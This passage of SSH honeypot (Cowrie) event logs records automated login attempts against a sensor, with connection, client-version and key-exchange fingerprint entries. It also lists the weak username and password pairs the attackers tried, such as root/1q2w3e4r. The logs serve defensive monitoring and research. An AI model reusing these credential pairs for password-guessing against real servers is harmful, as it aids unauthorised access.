"ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:42.275310Z","src_ip":"176.65.139.95","session":"0e6a7aedd8d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"dev1234567","message":"login attempt [ubuntu/dev1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:42.745465Z","src_ip":"177.54.62.66","session":"5b6f9e312a48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:43.040532Z","src_ip":"176.65.139.95","session":"0e6a7aedd8d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:43.880538Z","src_ip":"177.54.62.66","session":"5b6f9e312a48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58558,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb3c9c9ae7a8","protocol":"ssh","message":"New connection: 192.109.200.78:58558 (159.203.135.109:22) [session: eb3c9c9ae7a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:43.889981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:43.895139Z","src_ip":"192.109.200.78","session":"eb3c9c9ae7a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:43.982358Z","src_ip":"192.109.200.78","session":"eb3c9c9ae7a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:44.124229Z","src_ip":"176.65.139.95","session":"0e6a7aedd8d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:44.233714Z","src_ip":"192.109.200.78","session":"eb3c9c9ae7a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:45.619698Z","src_ip":"192.109.200.78","session":"eb3c9c9ae7a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58568,"dst_ip":"159.203.135.109","dst_port":22,"session":"f38961a2b620","protocol":"ssh","message":"New connection: 192.109.200.78:58568 (159.203.135.109:22) [session: f38961a2b620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:47.861783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:47.866756Z","src_ip":"192.109.200.78","session":"f38961a2b620","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:47.948242Z","src_ip":"192.109.200.78","session":"f38961a2b620","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:48.196318Z","src_ip":"192.109.200.78","session":"f38961a2b620","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:49.302488Z","src_ip":"192.109.200.78","session":"f38961a2b620","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58016,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3fdfc3c4b98","protocol":"ssh","message":"New connection: 176.65.139.95:58016 (159.203.135.109:22) [session: f3fdfc3c4b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:49.414463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:49.421237Z","src_ip":"176.65.139.95","session":"f3fdfc3c4b98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:49.497175Z","src_ip":"176.65.139.95","session":"f3fdfc3c4b98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:49.924246Z","src_ip":"176.65.139.95","session":"f3fdfc3c4b98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:51.086481Z","src_ip":"176.65.139.95","session":"f3fdfc3c4b98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50314,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e781fe16633","protocol":"ssh","message":"New connection: 192.109.200.78:50314 (159.203.135.109:22) [session: 9e781fe16633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:51.951476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:51.955781Z","src_ip":"192.109.200.78","session":"9e781fe16633","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:52.044162Z","src_ip":"192.109.200.78","session":"9e781fe16633","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:52.291124Z","src_ip":"192.109.200.78","session":"9e781fe16633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:53.383825Z","src_ip":"192.109.200.78","session":"9e781fe16633","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50322,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddf4c239e99c","protocol":"ssh","message":"New connection: 192.109.200.78:50322 (159.203.135.109:22) [session: ddf4c239e99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:56.016815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:56.021730Z","src_ip":"192.109.200.78","session":"ddf4c239e99c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:56.105984Z","src_ip":"192.109.200.78","session":"ddf4c239e99c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58032,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bc72d5f2423","protocol":"ssh","message":"New connection: 176.65.139.95:58032 (159.203.135.109:22) [session: 6bc72d5f2423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:56.183184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:56.200931Z","src_ip":"176.65.139.95","session":"6bc72d5f2423","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:56.280426Z","src_ip":"176.65.139.95","session":"6bc72d5f2423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:56.367358Z","src_ip":"192.109.200.78","session":"ddf4c239e99c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:56.869090Z","src_ip":"176.65.139.95","session":"6bc72d5f2423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:57.463936Z","src_ip":"192.109.200.78","session":"ddf4c239e99c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:57.993906Z","src_ip":"176.65.139.95","session":"6bc72d5f2423","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53778,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ff7b13c6b4f","protocol":"ssh","message":"New connection: 192.109.200.78:53778 (159.203.135.109:22) [session: 9ff7b13c6b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:01.197700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:01.203610Z","src_ip":"192.109.200.78","session":"9ff7b13c6b4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:01.286833Z","src_ip":"192.109.200.78","session":"9ff7b13c6b4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:01.539191Z","src_ip":"192.109.200.78","session":"9ff7b13c6b4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:02.757205Z","src_ip":"192.109.200.78","session":"9ff7b13c6b4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":41900,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9018348dfbd","protocol":"ssh","message":"New connection: 176.65.139.95:41900 (159.203.135.109:22) [session: b9018348dfbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:03.264995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:03.280045Z","src_ip":"176.65.139.95","session":"b9018348dfbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:03.354940Z","src_ip":"176.65.139.95","session":"b9018348dfbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123","message":"login attempt [user/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:03.721565Z","src_ip":"176.65.139.95","session":"b9018348dfbd","protocol":"ssh"}
